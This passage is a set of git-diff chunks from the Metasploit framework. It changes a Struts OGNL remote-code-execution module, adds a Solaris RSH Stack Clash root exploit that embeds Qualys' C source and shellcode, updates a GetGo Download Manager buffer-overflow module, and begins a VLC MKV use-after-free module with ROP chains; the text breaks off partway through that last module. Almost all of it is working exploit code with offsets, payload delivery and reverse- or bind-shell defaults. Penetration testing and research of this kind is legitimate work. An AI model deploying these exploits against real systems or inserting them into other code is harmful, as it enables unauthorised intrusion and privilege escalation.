os = profile_os()
if os && ((os.include? 'linux') || (os.include? 'nix'))
cmd = "{'sh','-c','#{cmd_input}'}"
elsif os.include? 'win'
elsif os && (os.include? 'win')
cmd = "{'cmd.exe','/c','#{cmd_input}'}"
else
vprint_error("Failed to detect target OS. Attempting to execute command directly")
@ -336,18 +334,23 @@ class MetasploitModule < Msf::Exploit::Remote
end
def send_payload
# Probe for the target OS and architecture
begin
properties = profile_target
os = properties[:'os.name'].downcase
rescue
vprint_warning("Target profiling was unable to determine operating system")
os = ''
os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'
os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'
data_header = datastore['HEADER']
if data_header.empty?
fail_with(Failure::BadConfig, "HEADER parameter cannot be blank when sending a payload")
end
payload = generate_payload_exe
print_status("Generated #{payload.length} byte binary payload")
payload_b64 = [payload].pack("m").delete("\n")
if payload_b64.length < 8100
send_payload_oneshot(payload_b64)
else
send_payload_multishot(payload)
end
end
def send_payload_oneshot(payload)
data_header = datastore['HEADER']
if data_header.empty?
fail_with(Failure::BadConfig, "HEADER parameter cannot be blank when sending a payload")
@ -355,18 +358,19 @@ class MetasploitModule < Msf::Exploit::Remote
random_filename = datastore['TEMPFILE']
# d = data stream from HTTP header
# d = payload data
# f = path to temp file
# s = stream/handle to temp file
ognl = ""
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
ognl << %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).|
ognl << %Q|(#f=@java.io.File@createTempFile('#{random_filename}','tmp')).|
ognl << %Q|(#f=@java.io.File@createTempFile('#{random_filename}','.tmp')).|
ognl << %q|(#f.setExecutable(true)).|
ognl << %q|(#f.deleteOnExit()).|
ognl << %q|(#s=new java.io.FileOutputStream(#f)).|
ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).|
ognl << %q|(#s.write(#d)).|
#TODO: Consider GZIP: ognl << %q|(#s.write(java.util.zip.GZIPInputStream(#d).read())).|
ognl << %q|(#s.close()).|
ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|
ognl << %q|(#p.start()).|
@ -375,8 +379,7 @@ class MetasploitModule < Msf::Exploit::Remote
success_string = rand_text_alpha(4)
ognl << %Q|('#{success_string}')|
exe = [generate_payload_exe].pack("m").delete("\n")
r = send_struts_request(ognl, payload: exe)
r = send_struts_request(ognl, payload: payload)
if r && r.headers && r.headers['Location'].split('/')[1] == success_string
print_good("Payload successfully dropped and executed.")
@ -387,4 +390,120 @@ class MetasploitModule < Msf::Exploit::Remote
fail_with(Failure::UnexpectedReply, "Target reported an unspecified error while executing the payload")
end
end
def ognl_create_file()
filename = datastore['TEMPFILE']
# f = path to temp file
ognl = ""
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
ognl << %Q|(#f=@java.io.File@createTempFile('#{filename}','.exe')).|
ognl << %q|(#f.setExecutable(true)).|
ognl << %q|(#f.deleteOnExit()).|
ognl << %q|(#f)|
r = send_struts_request(ognl)
begin
tempfile = r.headers['Location']
tempfile = tempfile[1..-(2+datastore['ACTION'].length)]
if tempfile.empty?
fail_with(Failure::UnexpectedReply,"Unable to create and locate file on target. Try a cmd/*/generic payload")
end
rescue
fail_with(Failure::UnexpectedReply,"Unable to create and locate file. Try a cmd/*/generic payload")
end
return tempfile
end
def send_payload_multishot(payload)
tempfile = ognl_create_file()
print_status("Temp file created: #{tempfile}")
payload_cursor = 0
while payload_cursor < payload.length
payload_size = rand(4500..5000) # payload_size cannot exceed 5645 in my testing
payload_start = payload_cursor
payload_end = payload_cursor + payload_size
payload_end = payload.size if payload_end > payload.size
chunk_bin = payload[payload_start..payload_end]
chunk_b64 = [chunk_bin].pack("m").delete("\n")
print_status("Sending payload chunk: #{chunk_b64.length} bytes")
ognl_append_file(tempfile, chunk_b64)
payload_cursor = payload_end + 1
end
ognl_execute(tempfile)
end
def ognl_append_file(payload_file, payload_chunk)
data_header = datastore['HEADER'] + 'd'
file_header = datastore['HEADER'] + 'f'
headers = {
"#{data_header}": payload_chunk,
"#{file_header}": payload_file,
}
# d = payload data
# f = path to temp file
# s = stream/handle to temp file
ognl = ""
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
ognl << %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).|
ognl << %Q|(#f=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{file_header}')).|
ognl << %q|(#s=new java.io.FileOutputStream(#f,1)).|
ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).|
ognl << %q|(#s.write(#d)).|
ognl << %q|(#s.close()).|
success_string = rand_text_alpha(4)
ognl << %Q|('#{success_string}')|
r = send_struts_request(ognl, headers: headers)
begin
if r.headers['Location'].include? success_string
vprint_good("OGNL payload chunk sent successfully.")
return
else
fail_with(Failure::UnexpectedReply, "OGNL payload upload did not respond")
end
rescue
fail_with(Failure::UnexpectedReply, "OGNL payload upload failed")
end
end
def ognl_execute(file)
file_header = datastore['HEADER'] + 'f'
headers = {
"#{file_header}": file,
}
# f = path to temp file
# p = process handle
ognl = ""
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
ognl << %Q|(#f=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{file_header}')).|
ognl << %q|(#p=new java.lang.ProcessBuilder(#f)).|
ognl << %q|(#p.start()).|
ognl << %q|(#f.delete()).|
success_string = rand_text_alpha(4)
ognl << %Q|('#{success_string}')|
r = send_struts_request(ognl, headers: headers)
begin
if r.code==302
print_good("OGNL payload executed successfully.")
else
fail_with(Failure::PayloadFailed, "Target did not successfully execute the request")
end
rescue
vprint_status("TARGET RESPONDED: #{r.to_s}")
fail_with(Failure::UnexpectedReply, "Target reported an unspecified error while attempting to execute the payload")
end
end
end

View File

@ -0,0 +1,552 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Post::File
include Msf::Post::Solaris::Priv
include Msf::Post::Solaris::System
include Msf::Post::Solaris::Kernel
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Solaris RSH Stack Clash Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability in RSH on unpatched Solaris
systems which allows users to gain root privileges.
The stack guard page on unpatched Solaris systems is of
insufficient size to prevent collisions between the stack
and heap memory, aka Stack Clash.
This module uploads and executes Qualys' Solaris_rsh.c exploit,
which exploits a vulnerability in RSH to bypass the stack guard
page to write to the stack and create a SUID root shell.
This module has offsets for Solaris versions 11.1 (x86) and
Solaris 11.3 (x86).
Exploitation will usually complete within a few minutes using
the default number of worker threads (10). Occasionally,
exploitation will fail. If the target system is vulnerable,
usually re-running the exploit will be successful.
This module has been tested successfully on Solaris 11.1 (x86)
and Solaris 11.3 (x86).
},
'References' =>
[
['BID', '99151'],
['BID', '99153'],
['CVE', '2017-1000364'],
['CVE', '2017-3629'],
['CVE', '2017-3630'],
['CVE', '2017-3631'],
['EDB', '42270'],
['URL', 'http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-3629-3757403.html'],
['URL', 'https://blog.qualys.com/securitylabs/2017/06/19/the-stack-clash'],
['URL', 'https://www.qualys.com/2017/06/19/stack-clash/stack-clash.txt']
],
'Notes' => { 'AKA' => ['Stack Clash', 'Solaris_rsh.c'] },
'License' => MSF_LICENSE,
'Author' =>
[
'Qualys Corporation', # Stack Clash technique and Solaris_rsh.c exploit
'Brendan Coles' # Metasploit
],
'DisclosureDate' => 'Jun 19 2017',
'Privileged' => true,
'Platform' => ['unix'],
'Arch' => [ARCH_X86, ARCH_X64],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' =>
[
['Automatic', {}],
['Solaris 11.1', {}],
['Solaris 11.3', {}]
],
'DefaultOptions' =>
{
'PAYLOAD' => 'cmd/unix/bind_netcat',
'WfsDelay' => 10,
'PrependFork' => true
},
'DefaultTarget' => 0))
register_options [
OptInt.new('WORKERS', [true, 'Number of workers', '10']),
OptString.new('RSH_PATH', [true, 'Path to rsh executable', '/usr/bin/rsh'])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end
def rsh_path
datastore['RSH_PATH']
end
def mkdir(path)
vprint_status "Creating '#{path}' directory"
cmd_exec "mkdir -p #{path}"
register_dir_for_cleanup path
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end
def upload_and_compile(path, data)
upload "#{path}.c", data
output = cmd_exec "PATH=$PATH:/usr/sfw/bin/:/opt/sfw/bin/:/opt/csw/bin gcc -Wall -std=gnu99 -o #{path} #{path}.c"
unless output.blank?
print_error output
fail_with Failure::Unknown, "#{path}.c failed to compile"
end
register_file_for_cleanup path
end
def symlink(link_target, link_name)
print_status "Symlinking #{link_target} to #{link_name}"
rm_f link_name
cmd_exec "ln -sf #{link_target} #{link_name}"
register_file_for_cleanup link_name
end
def check
unless setuid? rsh_path
vprint_error "#{rsh_path} is not setuid"
return CheckCode::Safe
end
vprint_good "#{rsh_path} is setuid"
unless has_gcc?
vprint_error 'gcc is not installed'
return CheckCode::Safe
end
vprint_good 'gcc is installed'
version = kernel_version
if version.to_s.eql? ''
vprint_error 'Could not determine Solaris version'
return CheckCode::Detected
end
unless ['11.1', '11.3'].include? version
vprint_error "Solaris version #{version} is not vulnerable"
return CheckCode::Safe
end
vprint_good "Solaris version #{version} appears to be vulnerable"
CheckCode::Detected
end
def exploit
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
unless check == CheckCode::Detected
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
unless writable? datastore['WritableDir']
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
end
if target.name.eql? 'Automatic'
case kernel_version
when '11.1'
my_target = targets[1]
arg = 0
when '11.3'
my_target = targets[2]
arg = 1
else
fail_with Failure::NoTarget, 'Unable to automatically select a target'
end
else
my_target = target
end
print_status "Using target: #{my_target.name}"
base_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}"
mkdir base_path
# Solaris_rsh.c by Qualys
# modified for Metasploit
workers = datastore['WORKERS'].to_i
root_shell = 'ROOT'
shellcode = '\x31\xc0\x50\x68'
shellcode << root_shell
shellcode << '\x89\xe3\x50\x53\x89\xe2\x50\x50'
shellcode << '\x52\x53\xb0\x3C\x48\x50\xcd\x91'
shellcode << '\x31\xc0\x40\x50\x50\xcd\x91Z'
exp = <<-EOF
/*
* Solaris_rsh.c for CVE-2017-3630, CVE-2017-3629, CVE-2017-3631
* Copyright (C) 2017 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/fcntl.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#ifndef timersub
#define timersub(a, b, result) \\
do { \\
(result)->tv_sec = (a)->tv_sec - (b)->tv_sec; \\
(result)->tv_usec = (a)->tv_usec - (b)->tv_usec; \\
if ((result)->tv_usec < 0) { \\
--(result)->tv_sec; \\
(result)->tv_usec += 1000000; \\
} \\
} while (0)
#endif
#define RSH "#{rsh_path}"
static const struct target * target;
static const struct target {
const char * name;
size_t s_first, s_last, s_step;
size_t l_first, l_last, l_step;
size_t p_first, p_last, p_step;
size_t a, b;
size_t i, j;
}
targets[] = {
{
.name = "Oracle Solaris 11.1 X86 (Assembled 19 September 2012)",
.s_first = 16*1024, .s_last = 44*1024, .s_step = 4096,
.l_first = 192, .l_last = 512, .l_step = 16,
.p_first = 0, .p_last = 8192, .p_step = 1,
.a = 0, .b = 15, .j = 12,
.i = 0x08052608 /* pop edx; pop ebp; ret */
},
{
.name = "Oracle Solaris 11.3 X86 (Assembled 06 October 2015)",
.s_first = 12*1024, .s_last = 44*1024, .s_step = 4096,
.l_first = 96, .l_last = 512, .l_step = 4,
.p_first = 0, .p_last = 4096, .p_step = 4,
.a = 0, .b = 3, .j = SIZE_MAX,
.i = 0x07faa7ea /* call *0xc(%ebp) */
},
};
#define ROOTSHELL "#{root_shell}"
static const char shellcode[] = "#{shellcode}";
static volatile sig_atomic_t sigalarm;
static void
sigalarm_handler(const int signum __attribute__((__unused__)))
{
sigalarm = 1;
}
#define die() do { \\
fprintf(stderr, "died in %s: %u\\n", __func__, __LINE__); \\
exit(EXIT_FAILURE); \\
} while (0)
static int
is_suid_root(const char * const file)
{
if (!file) die();
static struct stat sbuf;
if (stat(file, &sbuf)) die();
if (!S_ISREG(sbuf.st_mode)) die();
return ((sbuf.st_uid == 0) && (sbuf.st_mode & S_ISUID));
}
static const char *
build_lca(const size_t l)
{
static const size_t shellcode_len = sizeof(shellcode)-1;
if (shellcode_len > 64) die();
if (shellcode_len % 16) die();
if (l < shellcode_len + target->a + target->b) die();
#define LCA_MAX 4096
if (l > LCA_MAX) die();
static char lca[128 + LCA_MAX];
strcpy(lca, "LC_ALL=");
char * cp = memchr(lca, '\\0', sizeof(lca));
if (!cp) die();
memcpy(cp, shellcode, shellcode_len);
cp += shellcode_len;
memset(cp, 'a', target->a);
size_t o;
for (o = target->a; l - o >= 4; o += 4) {
if ((o - target->a) % 16 == target->j) {
cp[o + 0] = '\\xeb';
cp[o + 1] = (o - target->a >= 16) ? -(16u + 2u) :
-(shellcode_len + target->a + target->j + 2);
cp[o + 2] = 'j';
cp[o + 3] = 'j';
} else {
if (sizeof(size_t) != 4) die();
*(size_t *)(cp + o) = target->i;
}
}
cp += o;
memset(cp, 'b', target->b);
cp[target->b] = '\\0';
if (strlen(lca) != 7 + shellcode_len + o + target->b) die();
return lca;
}
static const char *
build_pad(const size_t p)
{
#define PAD_MAX 8192
if (p > PAD_MAX) die();
static char pad[64 + PAD_MAX];
strcpy(pad, "P=");
char * const cp = memchr(pad, '\\0', sizeof(pad));
if (!cp) die();
memset(cp, 'p', p);
cp[p] = '\\0';
if (strlen(pad) != 2 + p) die();
return pad;
}
static void
fork_worker(const size_t s, const char * const lca, const char * const pad)
{
#define N_WORKERS #{workers.to_i}
static size_t n_workers;
static struct {
pid_t pid;
struct timeval start;
} workers[N_WORKERS];
size_t i_worker;
struct timeval start, stop, diff;
if (n_workers >= N_WORKERS) {
if (n_workers != N_WORKERS) die();
int is_suid_rootshell = 0;
for (;;) {
sigalarm = 0;
#define TIMEOUT 10
alarm(TIMEOUT);
int status = 0;
const pid_t pid = waitpid(-1, &status, WUNTRACED);
alarm(0);
if (gettimeofday(&stop, NULL)) die();
if (pid <= 0) {
if (pid != -1) die();
if (errno != EINTR) die();
if (sigalarm != 1) die();
}
int found_pid = 0;
for (i_worker = 0; i_worker < N_WORKERS; i_worker++) {
const pid_t worker_pid = workers[i_worker].pid;
if (worker_pid <= 0) die();
if (worker_pid == pid) {
if (found_pid) die();
found_pid = 1;
if (WIFEXITED(status) || WIFSIGNALED(status))
workers[i_worker].pid = 0;
} else {
timersub(&stop, &workers[i_worker].start, &diff);
if (diff.tv_sec >= TIMEOUT)
if (kill(worker_pid, SIGKILL)) die();
}
}
if (!found_pid) {
if (pid != -1) die();
continue;
}
if (WIFEXITED(status)) {
if (WEXITSTATUS(status) != EXIT_FAILURE)
fprintf(stderr, "exited %d\\n", WEXITSTATUS(status));
break;
} else if (WIFSIGNALED(status)) {
if (WTERMSIG(status) != SIGSEGV)
fprintf(stderr, "signal %d\\n", WTERMSIG(status));
break;
} else if (WIFSTOPPED(status)) {
fprintf(stderr, "stopped %d\\n", WSTOPSIG(status));
is_suid_rootshell |= is_suid_root(ROOTSHELL);
if (kill(pid, SIGKILL)) die();
continue;
}
fprintf(stderr, "unknown %d\\n", status);
die();
}
if (is_suid_rootshell) {
system("ls -lL " ROOTSHELL);
exit(EXIT_SUCCESS);
}
n_workers--;
}
if (n_workers >= N_WORKERS) die();
static char rsh_link[64];
if (*rsh_link != '/') {
const int rsh_fd = open(RSH, O_RDONLY);
if (rsh_fd <= STDERR_FILENO) die();
if ((unsigned int)snprintf(rsh_link, sizeof(rsh_link),
"/proc/%ld/fd/%d", (long)getpid(), rsh_fd) >= sizeof(rsh_link)) die();
if (access(rsh_link, R_OK | X_OK)) die();
if (*rsh_link != '/') die();
}
static int null_fd = -1;
if (null_fd <= -1) {
null_fd = open("/dev/null", O_RDWR);
if (null_fd <= -1) die();
}
const pid_t pid = fork();
if (pid <= -1) die();
if (pid == 0) {
const struct rlimit stack = { s, s };
if (setrlimit(RLIMIT_STACK, &stack)) die();
if (dup2(null_fd, STDIN_FILENO) != STDIN_FILENO) die();
if (dup2(null_fd, STDOUT_FILENO) != STDOUT_FILENO) die();
if (dup2(null_fd, STDERR_FILENO) != STDERR_FILENO) die();
static char * const argv[] = { rsh_link, "-?", NULL };
char * const envp[] = { (char *)lca, (char *)pad, NULL };
execve(*argv, argv, envp);
die();
}
if (gettimeofday(&start, NULL)) die();
for (i_worker = 0; i_worker < N_WORKERS; i_worker++) {
const pid_t worker_pid = workers[i_worker].pid;
if (worker_pid > 0) continue;
if (worker_pid != 0) die();
workers[i_worker].pid = pid;
workers[i_worker].start = start;
n_workers++;
return;
}
die();
}
int main(const int argc, const char * const argv[])
{
static const struct rlimit core;
if (setrlimit(RLIMIT_CORE, &core)) die();
if (geteuid() == 0) {
if (is_suid_root(ROOTSHELL)) {
if (setuid(0)) die();
if (setgid(0)) die();
static char * const argv[] = { "/bin/sh", NULL };
execve(*argv, argv, NULL);
die();
}
chown(*argv, 0, 0);
chmod(*argv, 04555);
for (;;) {
raise(SIGSTOP);
sleep(1);
}
die();
}
const size_t i = strtoul(argv[1], NULL, 10);
if (i >= sizeof(targets)/sizeof(*targets)) die();
target = targets + i;
fprintf(stderr, "Target %zu %s\\n", i, target->name);
if (target->a >= 16) die();
if (target->b >= 16) die();
if (target->i <= 0) die();
if (target->j >= 16 || target->j % 4) {
if (target->j != SIZE_MAX) die();
}
static const struct sigaction sigalarm_action = { .sa_handler = sigalarm_handler };
if (sigaction(SIGALRM, &sigalarm_action, NULL)) die();
size_t s;
for (s = target->s_first; s <= target->s_last; s += target->s_step) {
if (s % target->s_step) die();
size_t l;
for (l = target->l_first; l <= target->l_last; l += target->l_step) {
if (l % target->l_step) die();
const char * const lca = build_lca(l);
fprintf(stdout, "s %zu l %zu\\n", s, l);
size_t p;
for (p = target->p_first; p <= target->p_last; p += target->p_step) {
if (p % target->p_step) die();
const char * const pad = build_pad(p);
fork_worker(s, lca, pad);
}
}
}
fprintf(stdout, "Failed\\n");
}
EOF
exploit_name = ".#{rand_text_alphanumeric 5..15}"
upload_and_compile "#{base_path}/#{exploit_name}", exp
symlink "#{base_path}/#{exploit_name}", "#{base_path}/#{root_shell}"
print_status "Creating suid root shell. This may take a while..."
cmd_exec "cd #{base_path}"
start = Time.now
output = cmd_exec "./#{exploit_name} #{arg}", nil, 1_800
stop = Time.now
print_status "Completed in #{(stop - start).round(2)}s"
unless output.include? 'root'
fail_with Failure::Unknown, "Failed to create suid root shell: #{output}"
end
print_good "suid root shell created: #{base_path}/#{root_shell}"
payload_name = ".#{rand_text_alphanumeric 5..10}"
payload_path = "#{base_path}/#{payload_name}"
upload payload_path, payload.encoded
cmd_exec "chmod +x '#{payload_path}'"
print_status 'Executing payload...'
cmd_exec "echo #{payload_path} | ./#{root_shell} & echo "
end
end

View File

@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
'Name' => 'GetGo Download Manager HTTP Response Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability in
GetGo Download Manager version 4.9.0.1982 and earlier, caused by an
GetGo Download Manager version 5.3.0.2712 earlier, caused by an
overly long HTTP response header.
By persuading the victim to download a file from a malicious server, a
@ -26,7 +26,9 @@ class MetasploitModule < Msf::Exploit::Remote
'Author' =>
[
'Julien Ahrens', # Vulnerability discovery
'Gabor Seljan' # Metasploit module
'Gabor Seljan', # Metasploit module for v4
'bzyo', # Metasploit module for v5
'sinn3r' # Helping Gabor and bzyo (see #4588 & #9642)
],
'References' =>
[
@ -42,16 +44,33 @@ class MetasploitModule < Msf::Exploit::Remote
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d",
'Space' => 2000
# v5 has no bad chars
'BadChars' => "\x00\x0a\x0d"
},
'Targets' =>
[
[ 'Windows XP SP3',
[
'Automatic', {}
],
[ '4.9.0.1982 on Windows XP SP3',
{
'Offset' => 4107,
'Ret' => 0x00280b0b # CALL DWORD PTR SS:[EBP+30]
}
],
[
'5.3.0.2712 on Windows XP SP3',
{
'Offset' => 4095,
# 0:016> u 0x72d11f39
# msacm32!wodMessage+0xd0f:
# 72d11f39 5f pop edi
# 72d11f3a 5e pop esi
# 72d11f3b c20400 ret 4
'Ret' => 0x72d11f39,
# 12253 is the same size the python PoC used
'MaxSize' => 12253
}
]
],
'Privileged' => false,
@ -59,102 +78,11 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultTarget' => 0))
end
#
# Handle the HTTP request and return a response.
# Code borrowed from: msf/core/exploit/http/server.rb
#
def start_http(opts={})
# Ensture all dependencies are present before initializing HTTP
use_zlib
comm = datastore['ListenerComm']
if (comm.to_s == "local")
comm = ::Rex::Socket::Comm::Local
else
comm = nil
end
# Default the server host / port
opts = {
'ServerHost' => datastore['SRVHOST'],
'ServerPort' => datastore['HTTPPORT'],
'Comm' => comm
}.update(opts)
# Start a new HTTP server
@http_service = Rex::ServiceManager.start(
Rex::Proto::Http::Server,
opts['ServerPort'].to_i,
opts['ServerHost'],
datastore['SSL'],
{
'Msf' => framework,
'MsfExploit' => self
},
opts['Comm'],
datastore['SSLCert']
)
@http_service.server_name = datastore['HTTP::server_name']
# Default the procedure of the URI to on_request_uri if one isn't
# provided.
uopts = {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}.update(opts['Uri'] || {})
proto = (datastore["SSL"] ? "https" : "http")
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
if (opts['ServerHost'] == '0.0.0.0')
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
end
# Add path to resource
@service_path = uopts['Path']
@http_service.add_resource(uopts['Path'], uopts)
# As long as we have the http_service object, we will keep the server alive
while @http_service
select(nil, nil, nil, 1)
end
end
#
# Kill HTTP/FTP (shut them down and clear resources)
#
def cleanup
super
stop_service
begin
@http_service.remove_resource(datastore['URIPATH'])
@http_service.deref
@http_service.stop
@http_service.close
@http_service = nil
rescue
end
end
def on_request_uri(cli, request)
print_status("Client connected...")
unless request['User-Agent'] =~ /GetGo Download Manager 4.0/
print_error("Sending 404 for unknown user-agent")
send_not_found(cli)
return
end
sploit = rand_text_alpha(target['Offset'])
# This part is from Gabor Seljan
def exploit_v4(cli, current_taget)
sploit = rand_text_alpha(current_taget['Offset'])
sploit << "\x90\x90\xEB\x06"
sploit << [target.ret].pack('V')
sploit << [current_taget.ret].pack('V')
sploit << payload.encoded
print_status("Sending #{sploit.length} bytes to port #{cli.peerport}...")
@ -162,8 +90,36 @@ class MetasploitModule < Msf::Exploit::Remote
resp = create_response(200, sploit)
resp.body = ""
cli.send_response(resp)
end
close_client(cli)
# This part is from Auxilus with some help from @_sinn3r
def exploit_v5(cli, current_taget)
seh_record = generate_seh_record(current_taget.ret)
# Minus 4 for the SEH record
buffer = Rex::Text.rand_text_alpha(current_taget['Offset'] - 4)
buffer << seh_record
buffer << payload.encoded
buffer << Rex::Text.rand_text_alpha(current_taget['MaxSize'] - buffer.length)
res = create_response(200, buffer)
cli.send_response(res)
end
def on_request_uri(cli, request)
print_status("#{cli.peerhost} connected")
current_target = target
user_agent = request.headers['User-Agent'].to_s
if current_target == targets[1] || user_agent.match(/GetGo Download Manager 4\.0/)
print_status('Attempting to exploit against v4')
current_target = targets[1]
exploit_v4(cli, current_target)
elsif current_target == targets[2] || user_agent.match(/GetGo Download Manager 5\.0/)
print_status('Attempting to exploit against v5')
current_target = targets[2]
exploit_v5(cli, current_target)
else
print_error('Sending 404 for unknown user-agent')
send_not_found(cli)
end
end
end

View File

@ -0,0 +1,306 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit
Rank = GreatRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'VLC Media Player MKV Use After Free',
'Description' => %q(
This module exploits a use after free vulnerability in
VideoLAN VLC =< 2.2.8. The vulnerability exists in the parsing of
MKV files and affects both 32 bits and 64 bits.
In order to exploit this, this module will generate two files:
The first .mkv file contains the main vulnerability and heap spray,
the second .mkv file is required in order to take the vulnerable code
path and should be placed under the same directory as the .mkv file.
This module has been tested against VLC v2.2.8. Tested with payloads
windows/exec, windows/x64/exec, windows/shell/reverse_tcp,
windows/x64/shell/reverse_tcp. Meterpreter payloads if used can
cause the application to crash instead.
),
'License' => MSF_LICENSE,
'Author' => [
'Eugene Ng - GovTech', # Vulnerability Discovery, Exploit
'Winston Ho - GovTech', # Metasploit Module
],
'References' =>
[
['CVE', '2018-11529'],
['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11529'],
['EDB', '44979']
],
'Payload' =>
{
'Space' => 0x300,
'DisableNops' => true
},
'Platform' => 'win',
'Targets' => [
[
'VLC 2.2.8 on Windows 10 x86',
{
'Platform' => 'win',
'Arch' => [ARCH_X86],
'Ret' => 0x22000020,
'ExitPointer' => 0x00411364,
'DefaultOptions' => {'PAYLOAD' => 'windows/shell/reverse_tcp'},
'RopChain' => [
0x0040ae91, # XCHG EAX,ESP # ADD BYTE PTR [ECX],AL # MOV EAX,DWORD PTR [EAX] # RET
0x00407086, # POP EDI # RETN [vlc.exe]
0x00000040, # 0x00000040-> edx
0x0040b058, # MOV EDX,EDI # POP ESI # POP EDI # POP EBP # RETN [vlc.exe]
0x41414141, # Filler (compensate)
0x41414141, # Filler (compensate)
0x41414141, # Filler (compensate)
0x004039c7, # POP EAX # POP ECX # RETN [vlc.exe]
0x22000030, # Filler (compensate) for rol [eax] below
0x41414141, # Filler (compensate)
0x004039c8, # POP ECX # RETN [vlc.exe]
0x0041193d, # &Writable location [vlc.exe]
0x00409d18, # POP EBX # RETN [vlc.exe]
0x00000201, # 0x00000201-> ebx
0x0040a623, # POP EBP # RETN [vlc.exe]
0x0040a623, # POP EBP # RETN [vlc.exe]
0x004036CB, # POP ESI # RETN [vlc.exe]
0x0040848c, # JMP ds:[EAX * 4 + 40e000] [vlc.exe]
0x00407086, # POP EDI # RETN [vlc.exe]
0x0040ae95, # MOV EAX,DWORD PTR [EAX] # RETN [vlc.exe]
0x0040af61, # PUSHAD # ROL BYTE PTR [EAX], 0FFH # LOOPNE VLC+0XAEF8 (0040AEF8)
0x22000020 + 0x5e0, # Shellcode
]
}
],
[
'VLC 2.2.8 on Windows 10 x64',
{
'Platform' => 'win',
'Arch' => [ARCH_X64],
'Ret' => 0x40000040,
'ExitPointer' => 0x00412680,
'DefaultOptions' => {'PAYLOAD' => 'windows/x64/shell/reverse_tcp'},
'RopChain' => [
0x004037ac, # XCHG EAX,ESP # ROL BL,90H # CMP WORD PTR [RCX],5A4DH # JE VLC+0X37C0 (00000000`004037C0) # XOR EAX,EAX # RET
0x00403b60, # POP RCX # RET
0x40000040, # lpAddress
0x004011c2, # POP RDX # RET
0x00001000, # dwSize
0x0040ab70, # JMP VirtualProtect
0x40000040 + 0x700, # Payload
]
}
]
],
'Privileged' => false,
'DisclosureDate' => 'May 24 2018',
'DefaultTarget' => 1))
register_options [
OptString.new('MKV_ONE', [false, 'mkv that should be opened', '']),
OptString.new('MKV_TWO', [false, 'The auxiliary file name.', ''])
]
deregister_options('FILENAME')
end
def to_bytes(num, length, endianess = 'big')
h = format('%<num>x', num: num)
s = ('0' * (h.length % 2) + h).rjust(length * 2)
s = s.scan(/.{2}/).map! { |x| x.hex.chr }.join
endianess == 'big' ? s : s.reverse
end
def data_size(number, numbytes = (1...9))
# encode 'number' as an EBML variable-size integer.
numbytes = [numbytes] if numbytes.is_a?(Integer)
numbytes.each do |size|
bits = size * 7
return to_bytes(((1 << bits) + number), size) if number <= (1 << bits) - 2
end
fail_with(Failure::BadConfig, "Can't store #{number} in #{size} bytes")
end
def build_data(size)
block_size = 0x1000
if target.arch.first == ARCH_X64
target_address_packed = [target.ret].pack("<Q")
rop_chain = target['RopChain'].map { |qword| [qword].pack("<Q") }.join
if size == 0x180
uaf_object = "\x41" * size
uaf_object[0x30, 8] = target_address_packed
uaf_object[0x38, 8] = [target.ret + 0x10000].pack("<Q")
